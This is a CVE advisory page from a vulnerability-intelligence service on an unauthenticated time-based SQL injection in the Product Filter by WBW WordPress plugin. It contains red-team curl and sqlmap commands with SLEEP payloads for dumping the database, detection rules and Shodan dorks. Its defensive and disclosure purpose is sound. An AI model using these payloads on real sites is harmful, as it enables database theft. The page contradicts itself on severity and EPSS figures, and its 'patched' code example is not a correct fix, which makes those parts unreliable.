☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-2317

CVE-2025-2317 SQL Injection in Wbw
📅 PUBLISHED: 2025-04-04 05:22 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.37%
👁️
0.37% probability
9.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2317 is a critical unauthenticated time-based SQL Injection vulnerability discovered in the Product Filter by WBW WordPress plugin. The flaw resides in the filtersDataBackend parameter, which is insufficiently sanitized and escapes user input before being used in SQL queries. This allows an attacker to inject arbitrary SQL commands into existing queries without requiring authentication.

The vulnerability affects all versions of the plugin up to and including version 2.7.9. As of this report, no official patch has been released by the vendor (Wbw). The CVSS score is 7.5 (High), with a vector emphasizing network-based, low-complexity exploitation that requires no privileges or user interaction. The primary impact is on confidentiality, as an attacker can extract sensitive information from the database, such as user credentials, session tokens, and other stored data.

Given that this is a WordPress plugin vulnerability, the attack surface is significant due to the widespread use of WordPress. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but this may change as details become public.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed through the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin via the WordPress admin dashboard or manually are affected. There is no associated NPM, PyPI, Go, or Ruby package; therefore, supply chain risks are limited to the WordPress plugin update mechanism. Since no patch is available, users must consider removing or disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None – The attacker does not need to be authenticated.
  • User Interaction (UI): None – The victim does not need to perform any action.
  • Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High – Successful exploitation can lead to full disclosure of database contents.
  • Integrity (I): None – The attacker cannot modify data.
  • Availability (A): None – The attack does not affect system availability.

Threat Level: High. The combination of network-based, low-complexity, unauthenticated access with high confidentiality impact makes this a serious threat. The lack of a patch further elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic time-based blind SQL injection in the filtersDataBackend parameter. The plugin fails to properly escape user-supplied input and does not use prepared statements when constructing SQL queries. This allows an attacker to inject SQL code that is executed by the database.

How it works:

  1. The plugin receives a request containing the filtersDataBackend parameter.
  2. The parameter value is directly concatenated into an SQL query without proper sanitization.
  3. An attacker can inject SQL commands that cause a time delay (e.g., SLEEP(5)) to confirm the injection point.
  4. By using conditional time-based queries (e.g., IF(condition, SLEEP(5), 0)), the attacker can extract data character by character.

Example injection (conceptual):

SELECT * FROM wp_options WHERE option_name = 'filtersDataBackend' AND 1=1 AND SLEEP(5) -- 

The attacker can then use this technique to enumerate database tables, columns, and values, ultimately extracting sensitive information such as user credentials, session tokens, and configuration data.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code pattern is typical of SQL injection: direct concatenation of user input into SQL queries.

Vulnerable code pattern (conceptual):

$filtersData = $_POST['filtersDataBackend'];
$query = "SELECT * FROM wp_posts WHERE post_type = 'product' AND " . $filtersData;
$result = $wpdb->get_results($query);

Patched code pattern (expected):

$filtersData = $_POST['filtersDataBackend'];
$query = $wpdb->prepare("SELECT * FROM wp_posts WHERE post_type = 'product' AND %s", $filtersData);
$result = $wpdb->get_results($query);

The patched version would use $wpdb->prepare() to ensure that user input is treated as a literal string, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress instance with the Product Filter by WBW plugin version <= 2.7.9 installed and activated.
  • Network access to the WordPress site.

Exploitation Steps:

  1. Identify the vulnerable endpoint: The plugin likely processes requests via AJAX or a specific URL. Common patterns include /wp-admin/admin-ajax.php with an action parameter.

  2. Craft a time-based injection payload: Use a tool like sqlmap or manually craft requests.

    Manual request example (using curl):

    curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
    -d "action=product_filter&filtersDataBackend=1' AND SLEEP(5)-- -"
    

    If the response is delayed by 5 seconds, the injection is confirmed.

  3. Extract data: Use conditional time-based queries to extract database contents.

    Example payload to extract database version:

    1' AND IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0)-- -
    
  4. Automate with sqlmap:

    sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
    --data="action=product_filter&filtersDataBackend=1" \
    --technique=T --time-sec=5 --batch --dump
    

Expected Outcome: The attacker can extract the entire WordPress database, including user credentials (hashed passwords), session tokens, and sensitive configuration data.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual time delays in HTTP responses.
  • Look for SQL keywords (e.g., SLEEP, BENCHMARK, IF) in POST parameters.
  • Use WAF rules to block common SQL injection patterns.

Defense:

  • Immediately disable or remove the Product Filter by WBW plugin until a patch is available.
  • Implement a Web Application Firewall (WAF) with SQL injection rules.
  • Use database activity monitoring to detect anomalous queries.
  • Apply the principle of least privilege to the database user used by WordPress.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /wp-admin/admin-ajax.php with parameter action=product_filter and filtersDataBackend containing SQL keywords.
  • Unusual time delays in HTTP responses (e.g., 5-10 seconds).
  • Requests containing patterns like SLEEP(, BENCHMARK(, IF(.

File IOCs:

  • Modified plugin files in /wp-content/plugins/product-filter-by-wbw/.
  • Suspicious entries in WordPress debug logs (if enabled).

Database IOCs:

  • Unusual SQL queries in database logs (e.g., SELECT * FROM wp_users WHERE ... AND SLEEP(5)).
  • New or modified database users.

Detection Engineering

YARA Rule

rule CVE_2025_2317_SQLi_ProductFilter_WBW {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-2317 in Product Filter by WBW plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2317"
        severity = "high"
    strings:
        $sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
        $benchmark = /BENCHMARK\s*\(\s*\d+\s*,/ nocase
        $conditional = /IF\s*\(/ nocase
        $filters_param = "filtersDataBackend"
    condition:
        $filters_param and ($sleeper or $benchmark or $conditional)
}

Sigma Rule

title: CVE-2025-2317 SQL Injection Attempt via filtersDataBackend
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects time-based SQL injection attempts against the Product Filter by WBW plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=product_filter'
        cs-uri-query|contains: 'filtersDataBackend'
        sc-status: 200
    keywords:
        - 'SLEEP('
        - 'BENCHMARK('
        - 'IF('
    condition: selection and keywords
falsepositives:
    - Legitimate use of the plugin with similar parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-2317 SQL Injection Attempt - Product Filter by WBW";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=product_filter"; http_client_body;
    content:"filtersDataBackend"; http_client_body;
    pcre:"/(SLEEP\s*\(\s*\d+\s*\)|BENCHMARK\s*\(\s*\d+\s*,|IF\s*\()/i";
    sid:10000001;
    rev:1;
    priority:1;
    reference:cve,2025-2317;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete the Product Filter by WBW plugin from all WordPress installations.
  2. Monitor for exploitation: Review web server logs for the IOCs listed above.
  3. Rotate credentials: If exploitation is suspected, rotate all WordPress admin passwords and database credentials.

Long-term Mitigation:

  • Apply patch when available: Monitor the WordPress plugin repository for an update.
  • Implement WAF: Use a Web Application Firewall with SQL injection rules.
  • Code review: If you have access to the plugin source, implement prepared statements using $wpdb->prepare().
  • Least privilege: Ensure the WordPress database user has minimal necessary privileges.

Workaround:

  • If the plugin is critical, consider using a different product filter plugin that is actively maintained and patched.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"Product Filter by WBW"
http.html:"wp-content/plugins/product-filter-by-wbw"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2317/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.